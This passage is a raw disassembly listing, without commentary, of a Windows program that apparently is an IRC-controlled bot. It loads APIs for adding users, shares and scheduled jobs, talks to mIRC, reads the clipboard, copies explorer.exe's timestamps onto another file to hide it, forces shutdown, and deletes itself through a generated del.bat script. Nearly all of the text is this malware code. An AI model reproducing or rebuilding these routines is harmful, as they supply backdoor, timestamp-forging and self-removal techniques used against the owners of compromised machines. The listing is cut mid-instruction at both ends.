dword_43591C, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_435868, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4358F8, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_435848, eax call esi ; GetProcAddress cmp dword_435818, ebx mov dword_435914, eax jz loc_405ECD cmp dword_43578C, ebx jz loc_405ECD cmp dword_435894, ebx jz loc_405ECD cmp dword_4358DC, ebx jz loc_405ECD cmp dword_4358C0, ebx jz loc_405ECD cmp dword_435920, ebx jz loc_405ECD cmp dword_435808, ebx jz loc_405ECD cmp dword_4357AC, ebx jz loc_405ECD cmp dword_4357C0, ebx jz loc_405ECD cmp dword_435888, ebx jz loc_405ECD cmp dword_43587C, ebx jz loc_405ECD cmp dword_435954, ebx jz loc_405ECD cmp dword_43592C, ebx jz loc_405ECD cmp dword_4358FC, ebx jz short loc_405ECD cmp dword_43589C, ebx jz short loc_405ECD cmp dword_4357D8, ebx jz short loc_405ECD cmp dword_43577C, ebx jz short loc_405ECD cmp dword_4357A0, ebx jz short loc_405ECD cmp dword_4358E0, ebx jz short loc_405ECD cmp dword_4358AC, ebx jz short loc_405ECD cmp dword_435928, ebx jz short loc_405ECD cmp dword_4357CC, ebx jz short loc_405ECD cmp dword_435824, ebx jz short loc_405ECD cmp dword_435780, ebx jz short loc_405ECD cmp dword_43591C, ebx jz short loc_405ECD cmp dword_435868, ebx jz short loc_405ECD cmp dword_4358F8, ebx jz short loc_405ECD cmp eax, ebx jnz short loc_405ED7 jmp short loc_405ECD ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_405770+4A7j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_43597C, eax loc_405ECD: ; CODE XREF: sub_405770+646j ; sub_405770+652j ... mov dword_435978, 1 loc_405ED7: ; CODE XREF: sub_405770+74Ej push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_405FDC push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_435790, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_435950, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_435830, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43594C, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_43583C, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4357B0, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_435810, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_435788, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4358B4, eax call esi ; GetProcAddress cmp dword_435790, ebx mov ecx, dword_4357B0 mov dword_435864, eax jz short loc_405FB8 cmp dword_435950, ebx jz short loc_405FB8 cmp dword_435830, ebx jz short loc_405FB8 cmp dword_43594C, ebx jz short loc_405FB8 cmp dword_43583C, ebx jz short loc_405FB8 cmp ecx, ebx jz short loc_405FB8 cmp dword_435810, ebx jz short loc_405FB8 cmp dword_435788, ebx jz short loc_405FB8 cmp dword_4358B4, ebx jz short loc_405FB8 cmp eax, ebx jnz short loc_405FC2 loc_405FB8: ; CODE XREF: sub_405770+806j ; sub_405770+80Ej ... mov dword_435980, 1 loc_405FC2: ; CODE XREF: sub_405770+846j cmp ecx, ebx jz short loc_405FF7 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_435948, eax jnz short loc_405FF7 jmp short loc_405FF1 ; --------------------------------------------------------------------------- loc_405FDC: ; CODE XREF: sub_405770+772j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_435984, eax mov dword_435980, 1 loc_405FF1: ; CODE XREF: sub_405770+86Aj mov dword_435948, ebx loc_405FF7: ; CODE XREF: sub_405770+854j ; sub_405770+868j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406041 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_435858, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43588C, eax call esi ; GetProcAddress cmp dword_435858, ebx mov dword_4358F0, eax jz short loc_40604C cmp dword_43588C, ebx jz short loc_40604C cmp eax, ebx jnz short loc_406056 jmp short loc_40604C ; --------------------------------------------------------------------------- loc_406041: ; CODE XREF: sub_405770+892j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_43598C, eax loc_40604C: ; CODE XREF: sub_405770+8C1j ; sub_405770+8C9j ... mov dword_435988, 1 loc_406056: ; CODE XREF: sub_405770+8CDj push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40614C push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4357F0, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43580C, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_435908, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4357BC, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_435840, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_435784, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4357D4, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4358D0, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4357E8, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4357F4, eax call esi ; GetProcAddress cmp dword_4357F0, ebx mov dword_43581C, eax jz short loc_406157 cmp dword_43580C, ebx jz short loc_406157 cmp dword_435908, ebx jz short loc_406157 cmp dword_4357BC, ebx jz short loc_406157 cmp dword_435840, ebx jz short loc_406157 cmp dword_435784, ebx jz short loc_406157 cmp dword_4357D4, ebx jz short loc_406157 cmp dword_4358D0, ebx jz short loc_406157 cmp dword_4357E8, ebx jz short loc_406157 cmp dword_4357F4, ebx jz short loc_406157 cmp eax, ebx jnz short loc_406161 jmp short loc_406157 ; --------------------------------------------------------------------------- loc_40614C: ; CODE XREF: sub_405770+8F1j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_435994, eax loc_406157: ; CODE XREF: sub_405770+98Cj ; sub_405770+994j ... mov dword_435990, 1 loc_406161: ; CODE XREF: sub_405770+9D8j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406196 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4358EC, eax call esi ; GetProcAddress cmp dword_4358EC, ebx mov dword_43586C, eax jz short loc_4061A1 cmp eax, ebx jnz short loc_4061AB jmp short loc_4061A1 ; --------------------------------------------------------------------------- loc_406196: ; CODE XREF: sub_405770+9FCj call ds:dword_420008 ; RtlGetLastWin32Error mov dword_43599C, eax loc_4061A1: ; CODE XREF: sub_405770+A1Ej ; sub_405770+A24j mov dword_435998, 1 loc_4061AB: ; CODE XREF: sub_405770+A22j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4061E0 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_435814, eax call esi ; GetProcAddress cmp dword_435814, ebx mov dword_435874, eax jz short loc_4061EB cmp eax, ebx jnz short loc_4061F5 jmp short loc_4061EB ; --------------------------------------------------------------------------- loc_4061E0: ; CODE XREF: sub_405770+A46j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_4359A4, eax loc_4061EB: ; CODE XREF: sub_405770+A68j ; sub_405770+A6Ej mov dword_4359A0, 1 loc_4061F5: ; CODE XREF: sub_405770+A6Cj push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406254 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4358A8, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_435938, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4357E4, eax call esi ; GetProcAddress cmp dword_4358A8, ebx mov dword_4357A8, eax jz short loc_40625F cmp dword_435938, ebx jz short loc_40625F cmp dword_4357E4, ebx jz short loc_40625F cmp eax, ebx jnz short loc_406269 jmp short loc_40625F ; --------------------------------------------------------------------------- loc_406254: ; CODE XREF: sub_405770+A90j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_4359AC, eax loc_40625F: ; CODE XREF: sub_405770+ACCj ; sub_405770+AD4j ... mov dword_4359A8, 1 loc_406269: ; CODE XREF: sub_405770+AE0j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40629E push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_435910, eax call esi ; GetProcAddress cmp dword_435910, ebx mov dword_4357DC, eax jz short loc_4062A9 cmp eax, ebx jnz short loc_4062B3 jmp short loc_4062A9 ; --------------------------------------------------------------------------- loc_40629E: ; CODE XREF: sub_405770+B04j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_4359B4, eax loc_4062A9: ; CODE XREF: sub_405770+B26j ; sub_405770+B2Cj mov dword_4359B0, 1 loc_4062B3: ; CODE XREF: sub_405770+B2Aj push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40633C push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4358F4, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4357C4, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43590C, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43582C, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4358B8, eax call esi ; GetProcAddress cmp dword_4358F4, ebx mov dword_4357D0, eax jz short loc_406347 cmp dword_4357C4, ebx jz short loc_406347 cmp dword_43590C, ebx jz short loc_406347 cmp dword_43582C, ebx jz short loc_406347 cmp dword_4358B8, ebx jz short loc_406347 cmp eax, ebx jnz short loc_406351 jmp short loc_406347 ; --------------------------------------------------------------------------- loc_40633C: ; CODE XREF: sub_405770+B4Ej call ds:dword_420008 ; RtlGetLastWin32Error mov dword_4359BC, eax loc_406347: ; CODE XREF: sub_405770+BA4j ; sub_405770+BACj ... mov dword_4359B8, 1 loc_406351: ; CODE XREF: sub_405770+BC8j pop edi pop esi xor eax, eax pop ebp inc eax pop ebx retn sub_405770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406359 proc near ; CODE XREF: sub_4089DC+4684p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_435958, esi push edi mov edi, [ebp+arg_8] jz short loc_4063A1 push dword_43595C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_4063A1: ; CODE XREF: sub_406359+1Aj cmp dword_435960, esi jz short loc_4063D5 push dword_435964 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_4063D5: ; CODE XREF: sub_406359+4Ej cmp dword_435968, esi jz short loc_406409 push dword_43596C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_406409: ; CODE XREF: sub_406359+82j cmp dword_435970, esi jz short loc_40643D push dword_435974 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_40643D: ; CODE XREF: sub_406359+B6j cmp dword_435978, esi jz short loc_406471 push dword_43597C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_406471: ; CODE XREF: sub_406359+EAj cmp dword_435980, esi jz short loc_4064A5 push dword_435984 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_4064A5: ; CODE XREF: sub_406359+11Ej cmp dword_435988, esi jz short loc_4064D9 push dword_43598C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_4064D9: ; CODE XREF: sub_406359+152j cmp dword_435990, esi jz short loc_40650D push dword_435994 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_40650D: ; CODE XREF: sub_406359+186j cmp dword_435998, esi jz short loc_406541 push dword_43599C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_406541: ; CODE XREF: sub_406359+1BAj cmp dword_4359A0, esi jz short loc_406575 push dword_4359A4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_406575: ; CODE XREF: sub_406359+1EEj cmp dword_4359A8, esi jz short loc_4065A9 push dword_4359AC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_4065A9: ; CODE XREF: sub_406359+222j cmp dword_4359B0, esi jz short loc_4065DD push dword_4359B4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_4065DD: ; CODE XREF: sub_406359+256j cmp dword_4359B8, esi jz short loc_406611 push dword_4359BC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_414415 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 20h loc_406611: ; CODE XREF: sub_406359+28Aj lea eax, [ebp+var_200] push offset aMainDllTestCom ; "[MAIN]: DLL test complete." push eax call sub_414415 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40663E push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_4056BF add esp, 14h loc_40663E: ; CODE XREF: sub_406359+2CEj lea eax, [ebp+var_200] push eax call sub_401EFF pop ecx pop edi pop esi pop ebx leave retn sub_406359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406650 proc near ; CODE XREF: sub_4089DC+A5Ep ; sub_4089DC+A91p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz loc_406727 mov eax, [ebp+arg_4] cmp eax, esi jz loc_406727 cmp [ebp+arg_8], esi jz loc_406727 cmp byte ptr [eax], 0 jz loc_406727 push ebx push edi call sub_41F397 mov ebx, eax test ebx, ebx pop ecx jz loc_406722 push [ebp+arg_4] push edi call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40671B sub eax, edi push eax push edi push ebx call sub_4144A0 mov eax, ebx sub eax, edi add esp, 0Ch and byte ptr [eax+esi], 0 mov eax, [ebp+arg_8] lea ecx, [eax+1] loc_4066BD: ; CODE XREF: sub_406650+72j mov dl, [eax] inc eax test dl, dl jnz short loc_4066BD sub eax, ecx push eax push [ebp+arg_8] push ebx call sub_4142E0 mov eax, [ebp+arg_4] add esp, 0Ch lea ecx, [eax+1] loc_4066D9: ; CODE XREF: sub_406650+8Ej mov dl, [eax] inc eax test dl, dl jnz short loc_4066D9 sub eax, ecx add eax, esi mov esi, eax loc_4066E6: ; CODE XREF: sub_406650+9Bj mov cl, [eax] inc eax test cl, cl jnz short loc_4066E6 mov edi, ebx sub eax, esi dec edi loc_4066F2: ; CODE XREF: sub_406650+A8j mov cl, [edi+1] inc edi test cl, cl jnz short loc_4066F2 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov esi, [ebp+arg_0] mov edx, esi mov eax, ebx sub edx, ebx loc_406711: ; CODE XREF: sub_406650+C9j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_406711 loc_40671B: ; CODE XREF: sub_406650+50j push ebx call sub_414844 pop ecx loc_406722: ; CODE XREF: sub_406650+3Bj mov eax, esi pop ebx jmp short loc_406729 ; --------------------------------------------------------------------------- loc_406727: ; CODE XREF: sub_406650+Cj ; sub_406650+17j ... xor eax, eax loc_406729: ; CODE XREF: sub_406650+D5j pop edi pop esi pop ebp retn sub_406650 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40672D proc near ; CODE XREF: sub_408601+C2p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor eax, eax mov ecx, 1F4h lea edi, [ebp+var_7D0] rep stosd mov ecx, [ebp+arg_0] mov eax, ecx lea esi, [eax+1] loc_406750: ; CODE XREF: sub_40672D+28j mov dl, [eax] inc eax test dl, dl jnz short loc_406750 sub eax, esi xor ebx, ebx mov edi, eax inc ebx cmp edi, ebx jge short loc_406767 or eax, 0FFFFFFFFh jmp short loc_4067C7 ; --------------------------------------------------------------------------- loc_406767: ; CODE XREF: sub_40672D+33j xor edx, edx test edi, edi mov [ebp+var_7D0], ecx jle short loc_406787 loc_406773: ; CODE XREF: sub_40672D+58j mov al, [edx+ecx] cmp al, 0Ah jz short loc_40677E cmp al, 0Dh jnz short loc_406782 loc_40677E: ; CODE XREF: sub_40672D+4Bj and byte ptr [edx+ecx], 0 loc_406782: ; CODE XREF: sub_40672D+4Fj inc edx cmp edx, edi jl short loc_406773 loc_406787: ; CODE XREF: sub_40672D+44j xor esi, esi test edi, edi jle short loc_4067B1 loc_40678D: ; CODE XREF: sub_40672D+82j cmp byte ptr [esi+ecx], 0 jnz short loc_4067AC lea edx, [esi+ecx+1] cmp byte ptr [edx], 0 jz short loc_4067AC cmp ebx, 1F4h jge short loc_4067B1 mov [ebp+ebx*4+var_7D0], edx inc ebx loc_4067AC: ; CODE XREF: sub_40672D+64j ; sub_40672D+6Dj inc esi cmp esi, edi jl short loc_40678D loc_4067B1: ; CODE XREF: sub_40672D+5Ej ; sub_40672D+75j mov edi, [ebp+arg_4] test edi, edi jz short loc_4067C5 mov ecx, 1F4h lea esi, [ebp+var_7D0] rep movsd loc_4067C5: ; CODE XREF: sub_40672D+89j mov eax, ebx loc_4067C7: ; CODE XREF: sub_40672D+38j pop edi pop esi pop ebx leave retn sub_40672D endp ; =============== S U B R O U T I N E ======================================= sub_4067CC proc near ; CODE XREF: sub_406B7A+26p ; sub_406BB7+79p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41540C cmp al, 61h pop ecx jl short loc_4067E7 cmp al, 7Ah jg short loc_4067E7 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4067E7: ; CODE XREF: sub_4067CC+Ej ; sub_4067CC+12j xor eax, eax retn sub_4067CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067EA proc near ; CODE XREF: sub_4089DC+2DACp ; sub_4089DC+392Dp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_420008 ; RtlGetLastWin32Error push 0 push 100h mov esi, eax lea eax, [ebp+var_100] push eax push 400h push esi push 0 push 1200h call ds:dword_4200A8 ; FormatMessageA lea eax, [ebp+var_100] loc_406823: ; CODE XREF: sub_4067EA+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40682F cmp cl, 9 jnz short loc_406832 loc_40682F: ; CODE XREF: sub_4067EA+3Ej inc eax jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406832: ; CODE XREF: sub_4067EA+43j ; sub_4067EA+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40684C mov cl, [eax] cmp cl, 2Eh jz short loc_406832 cmp cl, 21h jl short loc_406832 loc_40684C: ; CODE XREF: sub_4067EA+54j push esi lea eax, [ebp+var_100] push eax push [ebp+arg_0] mov esi, offset dword_4359C8 push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41466D add esp, 18h mov eax, esi pop esi leave retn sub_4067EA endp ; =============== S U B R O U T I N E ======================================= sub_406874 proc near ; CODE XREF: sub_4089DC+4618p push esi push 0 call dword_4357B4 ; OpenClipboard test eax, eax jz short loc_4068AB push 1 call dword_435934 ; GetClipboardData mov esi, eax test esi, esi jz short loc_4068AB push edi push esi call ds:dword_4200B0 ; GlobalLock push esi mov edi, eax call ds:dword_4200AC ; GlobalUnlock call dword_435798 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4068AB: ; CODE XREF: sub_406874+Bj ; sub_406874+19j xor eax, eax pop esi retn sub_406874 endp ; =============== S U B R O U T I N E ======================================= sub_4068AF proc near ; CODE XREF: sub_4089DC+388Dp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi push esi mov edi, offset aMirc_0 ; "mIRC" push edi call dword_435860 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_40692B push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_4200BC ; CreateFileMappingA push esi push esi push esi mov edi, eax push 0F001Fh push edi call ds:dword_4200B8 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_414415 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4358C8 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4358C8 ; SendMessageA push ebx call ds:dword_4200B4 ; UnmapViewOfFile push edi call ds:dword_42003C ; CloseHandle xor eax, eax inc eax pop ebx jmp short loc_40692D ; --------------------------------------------------------------------------- loc_40692B: ; CODE XREF: sub_4068AF+16j xor eax, eax loc_40692D: ; CODE XREF: sub_4068AF+7Aj pop edi pop esi pop ebp retn sub_4068AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406931 proc near ; CODE XREF: sub_40E6BB+21Ep var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push esi xor esi, esi push esi lea eax, [ebp+var_11C] push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_435828 ; SearchPathA test eax, eax jz short loc_4069D2 push ebx push edi push esi mov edi, 80h push edi push 3 push esi mov esi, ds:dword_420044 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4069D0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_4200C4 ; GetFileTime push ebx mov ebx, ds:dword_42003C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4069D0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_4200C0 ; SetFileTime push esi call ebx ; CloseHandle loc_4069D0: ; CODE XREF: sub_406931+51j ; sub_406931+87j pop edi pop ebx loc_4069D2: ; CODE XREF: sub_406931+28j pop esi leave retn sub_406931 endp ; =============== S U B R O U T I N E ======================================= sub_4069D5 proc near ; CODE XREF: sub_4089DC+1196p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_40815F pop ecx pop ecx push 50005h push 6 call dword_4358A0 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4069D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069F7 proc near ; CODE XREF: sub_4025CE+495p ; sub_4089DC+48CBp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push ebx xor ebx, ebx cmp dword_42BECC, ebx push esi jz short loc_406A1B cmp dword_435968, ebx jnz short loc_406A1B push ebx call sub_40213F pop ecx loc_406A1B: ; CODE XREF: sub_4069F7+13j ; sub_4069F7+1Bj lea eax, [ebp+var_764] push eax push 400h call ds:dword_4200D0 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_414415 add esp, 0Ch push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_260] push eax call ds:dword_420044 ; CreateFileA mov esi, eax cmp esi, ebx jbe loc_406B76 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_414415 lea eax, [ebp+var_764] add esp, 0Ch lea edx, [eax+1] loc_406A8E: ; CODE XREF: sub_4069F7+9Cj mov cl, [eax] inc eax cmp cl, bl jnz short loc_406A8E push edi push ebx lea ecx, [ebp+var_4] push ecx sub eax, edx push eax lea eax, [ebp+var_764] push eax push esi call ds:dword_420040 ; WriteFile push esi call ds:dword_42003C ; CloseHandle xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd push 11h stosd pop ecx xor eax, eax lea edi, [ebp+var_58] rep stosd mov esi, 104h push esi lea eax, [ebp+var_15C] push eax push ebx mov [ebp+var_4C], 420AEAh mov [ebp+var_58], 44h mov [ebp+var_2C], 1 mov [ebp+var_28], bx call ds:dword_4200A4 ; GetModuleHandleA push eax call ds:dword_420010 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_4200A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh pop edi jz short loc_406B1F push 80h lea eax, [ebp+var_15C] push eax call ds:dword_4200CC ; SetFileAttributesA loc_406B1F: ; CODE XREF: sub_4069F7+114j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_414415 add esp, 10h push esi lea eax, [ebp+var_364] push eax lea eax, [ebp+var_764] push eax call ds:dword_4200C8 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push ebx push ebx push 4010h push ebx push ebx push ebx lea eax, [ebp+var_364] push eax push ebx call ds:dword_420038 ; CreateProcessA loc_406B76: ; CODE XREF: sub_4069F7+6Dj pop esi pop ebx leave retn sub_4069F7 endp ; =============== S U B R O U T I N E ======================================= sub_406B7A proc near ; CODE XREF: sub_406BB7+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h rep stosd lea edi, [eax-1] xor esi, esi test edi, edi jl short loc_406BB4 push ebx mov ebx, edi loc_406B97: ; CODE XREF: sub_406B7A+37j mov eax, [esp+0Ch+arg_0] movsx eax, byte ptr [esi+eax] push eax call sub_4067CC pop ecx mov ecx, 